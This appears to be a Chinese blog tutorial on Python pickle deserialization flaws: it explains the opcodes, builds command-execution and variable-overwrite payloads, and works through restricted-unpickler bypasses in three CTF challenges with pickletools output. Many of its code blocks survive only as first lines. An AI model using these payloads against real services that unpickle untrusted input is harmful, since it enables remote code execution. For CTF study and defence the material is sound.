python反序列化漏洞
python反序列化漏洞
Python通过pickle
或者cpickle
库进行序列化和反序列化(只是cpickle更加快速)作用和PHP的serialize与unserialize一样
pickle
实际上可以看作一种独立的语言
,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
序列化
dumps()函数
测试代码:
1 | #python 2.x |
输出结果:
1 | "(dp0\nS'age'\np1\nI19\nsS'name'\np2\nS'w0s1np'\np3\ns.", <type 'str'> |
1 | #python 3.x |
输出结果:
1 | b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c\x06w0s1np\x94\x8c\x03age\x94K\x13u.' <class 'bytes'> |
在默认情况下Python 2.x中pickled后的数据是 字符串 的形式,Python 3.x中pickled后的数据是 字节对象 的形式。
dump()函数
将指定的Python对象通过pickle序列化后写入打开的文件对象中
反序列化
loads()函数
测试代码:
1 | #python 2.x |
输出结果:
1 | {'name': 'w0s1np', 'age': 19} <class 'dict'> |
默认情况下Python 2.x中pickled后的数据是 字符串形式,需要将它转换为字节对象才能被Python 3.x中的pickle.loads()反序列化;
pickle 是什么?
pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。
PVM 由三部分组成:
指令处理器
从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。
最终留在栈顶的值将被作为反序列化对象返回。
stack
由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
memo
由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。
常用的opcode
如下:
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
---|---|---|---|---|
b’c’ | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
b’o’ | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
b’i’ | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
b’N’ | 实例化一个None | N | 获得的对象入栈 | 无 |
b’S’ | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 | 无 |
b’V’ | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
b’I’ | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
b’F’ | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
b’R’ | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
b’.’ | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
b’(‘ | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
b’t’ | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
b’)’ | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
b’l’ | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
b’]’ | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
b’d’ | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
b’}’ | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
b’p’ | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
b’g’ | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
b’0’ | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
b’b’ | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
b’s’ | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
b’u’ | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
b’a’ | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
b’e’ | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
反序列化流程
序列化是一个将对象转化成字符串的过程,而反序列化就是将字符串转换为对象的过程。
例如对于字符串
1 | c__builtin__ |
首先c
操作码代表引入模块和对象__builtin__.file
然后(
操作码代表压入一个标志到栈中,表示元组的开始位置
接着S
操作码代表向栈顶插入一个字符串,这里为’/etc/passwd’。
t
操作码代表从栈顶开始,找到最上面的MARK
也就是(
,并将(
到t
中间的内容全部弹出,组成一个元组,再把这个元组压入栈中。
最后R
操作码代表从栈顶弹出两个元素,一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上。这里执行的是__builtin__.file('/etc/passwd')
最后还要有一个.
代表整个程序结束。
1 | import pickle |
生成pickle
__reduce__方法:
本质在于序列化对象的时候,类中自动执行的函数(如 __reduce__
)也被序列化,而且在反序列化时候该函数会直接被执行。
漏洞产生的原因在于pickle可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__
方法从而触发恶意代码,类似与PHP中的__wakeup__
,在反序列化的时候会自动调用。
__reduce__()
是一个二元操作函数,第一个参数是函数名,第二个参数是第一个函数的参数数据结构。__reduce__
方法被定义后,当对象被反序列化时就会被自动调用。
例如:
1 | import pickle |
即可执行ls命令
还可以反弹shell
1 | import pickle |
1 | import base64 |
1 | import pickle |
pickle.loads()
是会自动解决 import 问题的,对于未引入的 module
会自动尝试 import
。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用
手写:
很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__
来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。
opcode
解析如下:
1 | b'\x80\x03c__main__\nanimal\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00animalq\x03X\x03\x00\x00\x00dogq\x04sb.' |
第一步:读取到\x80
,通过dispatch字典索引,调用load_proto方法,程序继续读取一个字节,读取到\x03
,它的意思是:这是一个根据三号协议序列化的字符串。
第二步:读取到c
(GLOBAL操作码) ,程序往前读取两行字符串,获取域名空间与类名module=__main__,name=animal
,调用find_class函数获取到animal对象,并压入栈stack中。
1 | stack:[<class '__main__.animal'>] |
第三步:读取到q
(binput操作码),继续读取下一个字节为0,对应的操作为:将stack中栈尾的数据保存到memo字典中的0号位置(可以理解为逐步保存stack中的数据,方便之后调用)。
第四步:读取到)
(EMPTY_TUPLE操作码),往栈中压入空的元组。
1 | stack:[<class '__main__.animal'>,()] |
第五步:读取到\x81
(NEW_OBJ),弹出()
赋值给args,然后再弹出<class '__main__.animal'>
赋值给cls,在这里是animal对象,之后用cls.__new__(cls,*args)
实例化该对象并压入栈中,在这里args为空,所以栈中任然是一个空的animal对象。
1 | stack:[<class '__main__.animal'>] |
第六步:读取到q\x01
将上面实例化的对象保存到memo[1]中。
第七步:读取到}
,往栈中压入空的字典。
1 | stack:[<class '__main__.animal'>,{}] |
第八步:读取到q\x02
将该字典存到memo[2]中。
第九步:读取到X
继续向前读取四个字节代表字符串长度,\x06\x00\x00\x00
获得字符串长度为6,接着继续往后读取六个字符animal
,存入栈中。
1 | stack:[<class '__main__.animal'>,{},animal] |
第九步:读取到q\x03
将上面的字符串保存到memo[3]中。
第十步:继续向前提取出dog
并保存到memo[4]中。
1 | stack:[<class '__main__.animal'>,{},animal,dog] |
第十一步:读取到s
(SETITEM操作符),弹出数据作为值,再弹出数据作为健,最后弹出一个数据 (一定要是字典类型) ,以键值对的形式将数据存入该字典中,{‘animal’:’dog’}`,并入栈。
1 | stack:[<class '__main__.animal'>,{'animal':'dog'}] |
第十二步:读取到b
(BUILD操作符),从栈中弹出字典类型的数据赋值给state,弹出<class '__main__.animal'>
赋值给inst,如果inst中存在__setstate__
方法,则直接用setstate来处理statesetstate(state)
,如果不存在,则直接将state存入inst.__dict__
中。
第十三步:读取到.
,结束反序列化。
基本模式:
1 | c<module> |
看个小例子:
1 | cos |
1 | import pickle |
关于函数执行
与函数执行相关的opcode有三个: R
、 i
、 o
,所以我们可以从三个方向进行构造:(里面有自己错误的理解,只是为了方便理解)
R
操作码 :
1 | b'''cos #c:引入os包 |
i
操作码:
1 | b'''(S'whoami' |
o
操作码:
1 | b'''(cos |
关于变量覆盖:
1 | opcode='''c__main__ |
例题:
suctf2019_guess_game
猜数游戏,10 以内的数字,猜对十次就返回 flag。
1 | # file: Ticket.py |
server
端将接收到的数据进行反序列,这里与常规的pickle.loads
不同,采用的是Python
提供的安全措施。也就是说,导入的模块只能以guess_name
开头,并且名称里不能含有 __。
胜利条件如下:
1 | # file: Game.py |
就是要胜利次数==最大轮数,而最大轮数是10,所以就是要全胜,所以我们可以利用变量覆盖,所以可以:
- 让win_count=10,round_count=9传输一次。
- 直接修改对象的值
curr_ticket
,让其与传过去的值相等 - 执行命令直接读取/flag
- 官方exp:
1 | import pickle |
解释如下:
pickle
本质是个栈语言, 不同于 json 亦或是 php 的 serialize. 实际上是运行 pickle 得到的结果是被序列化的对象. 这里虽然条件受限, 只能加载指定模块, 但是可以看到 __init.py__
中 game = Game()
, 所以只要构造出 pickle 代码获得 guess_game.game, 然后修改 game 的 win_count 和 round_count 即可.
注意这里必须手写, 如果是 from guess_game import game
, 然后修改再 dumps 这个 game 的话, 是在运行时重新新建一个 Game 对象, 而不是从 guess_game 这个 module 里面获取.
然后注意
1 | ticket = restricted_loads(ticket) |
所以还需要栈顶为一个 Ticket, 这比较方便, 可以 dumps 一个 Ticket 拼到之前手写的后面就可以了.
ref: https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
梳理opcode
:
1 | import pickletools |
但是还有个验证,assert type(ticket) == Ticket。
因为pickle
序列流执行完后将会把栈顶的值返回,那结尾再留一个Ticket
的对象就好了。
所以完整opcode
:
1 | b'''cguess_game |
尝试覆盖掉
current_ticket
:opcode
如下:1
b"cguess_game\ngame\nN(S'curr_ticket'\ncguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x06sbd\x86bcguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x06sb."
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29import pickletools
>>>
b"cguess_game\ngame\nN(S'curr_ticket'\ncguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x06sbd\x86bcguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x06sb." exp =
>>>
pickletools.dis(exp)
0: c GLOBAL 'guess_game game'
17: N NONE
18: ( MARK
19: S STRING 'curr_ticket'
34: c GLOBAL 'guess_game.Ticket Ticket'
60: ) EMPTY_TUPLE
61: \x81 NEWOBJ
62: } EMPTY_DICT
63: X BINUNICODE 'number'
74: K BININT1 6
76: s SETITEM
77: b BUILD
78: d DICT (MARK at 18)
79: \x86 TUPLE2
80: b BUILD
81: c GLOBAL 'guess_game.Ticket Ticket'
107: ) EMPTY_TUPLE
108: \x81 NEWOBJ
109: } EMPTY_DICT
110: X BINUNICODE 'number'
121: K BININT1 6
123: s SETITEM
124: b BUILD
125: . STOP
Code-Breaking 2018 picklecode
源码:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
发现目标是一个Django
项目,先查看Django
的配置文件。目标配置文件code/settings.py
中有如下几个值得注意的地方:
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
因为和默认的Django
配置文件相比,这两处可以说是很少在实际项目中看到的。
SESSION_ENGINE
指的是Django
使用将用户认证信息存储在哪里,SESSION_SERIALIZER
指的是Django
用什么方式存储用户认证信息。
一个是存储位置,一个是存储方式。可以简单理解一下,用户的session
对象先由SESSION_SERIALIZER
指定的方式转换成一个字符串,再由SESSION_ENGINE
指定的方式存储到某个地方。
默认Django项目中,这两个值分别是:django.contrib.sessions.backends.db
和django.contrib.sessions.serializers.JSONSerializer
。看名字就知道,默认Django
的session
是使用json
的形式,存储在数据库里。
其实意思就是:该目标的session
是用pickle的形式,存储在Cookie
中。
pickle
反序列化是可以执行任意命令的,我们要想办法控制这个值,进而获取目标系统权限。
我们的目的就是控制session,而session engine
是django.contrib.sessions.backends.signed_cookies
,也就是说这个session
是签名(signed)后存储在Cookie
中的,我们唯一不知道的就是签名时使用的密钥。
打开core.serializer.py
1 | import pickle |
这里使用了RestrictedUnpickler
这个类作为序列化时使用的过程类。其实就是我们可以自定义RestrictedUnpickler
这个类给反序列化设置黑白名单,进而限制这个功能被滥用:
find_class
中限制了反序列化的对象必须是builtins
模块中的对象,但不能是{'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
。
例如我们去执行os.system
,而find_class
中限制module必须是builtins
,自然就被拦截了。
builtins
模块在Python中实际上就是不需要import就能使用的模块,比如常见的open
、__import__
、eval
、input
这种内置函数,都属于builtins
模块。
但这些函数已经被禁用了:
- eval
- exec
- execfile
- compile
- open
- input
__import__
- exit
但是没有过滤getattr
函数,我们可以通过builtins.getattr('builtins', 'eval')
来获取eval函数,然后再执行即可。此时,find_class
获得的module是builtins
,name是getattr
,在允许的范围中,不会被沙盒拦截。
1 | getattr(globals()['__builtins__'],'eval') |
getattr
和globals
并没有被禁,那么手搓opcode
首先使用c
,获取getattr
这个可执行对象:
1 | cbuiltins |
然后我们需要获取当前上下文,Python中使用globals()
获取上下文,所以我们要获取builtins.globals
:
1 | cbuiltins |
Python中globals是个字典,我们需要取字典中的某个值,所以还要获取dict
这个对象:
1 | cbuiltins |
现在执行globals()
函数,获取完整上下文:
1 | cbuiltins |
栈顶元素是builtins.globals
,我们只需要再压入一个空元组(t
,然后使用R
执行即可。
1 | cbuiltins |
1 | 0: c GLOBAL 'builtins getattr' #引入模块builtins.getattr |
即得到builtins.getattr(dict.get(globals(),__builtins__))
,即builtins
对象
1 | import pickle |
接下来,只需要再从这个没有限制的builtins
对象中拿到eval
等真正危险的函数即可:
1 | cbuiltins |
BalsnCTF 2019 Pyshv1
securePickle.py
1 | import pickle |
server.py
1 | #!/usr/bin/python3 -u |
find_class 直接调的 pickle.py 中的方法,那就先看看它如何导入包的:
1 | # pickle.Unpickler.find_class |
题目用RestrictedUnpickler
做为反序列化的过程类,find_class
中限制了反序列化的对象必须是sys
模块中的对象。也就是我们要保证我们使用c
导入的模块只能是sys
。
但是sys
模块具有一个属性modules
,其中包含所有已加载的模块,并且还允许覆盖这些模块。但是pickle
没有提供GETITEM
说明,我们只能访问的直接属性sys
,因此不能sys.modules.__getitem__
直接调用。限制了module
只能为sys
,那能否把sys.modules[‘sys’]
替换为sys.modules[‘os’]
,从而引入危险模块。但是我们可以:
1 | from sys import modules |
本地实验:
1 | C:\Users\50871>python3 |
因为modules
是个dict
,所以我们需要用getattr(sys.modules[module], name)
获取字典其中一个的值
1 | import sys |
利用get
即可执行命令
1 | import sys |
所以我们需要构造:
1 | sys.modules['sys'] = sys.modules |
改为opcode:
1 | csys |
分析如下:
1 | 0: c GLOBAL 'sys modules' #引入对象sys.modules |
参考文章:
https://xz.aliyun.com/t/7436#toc-6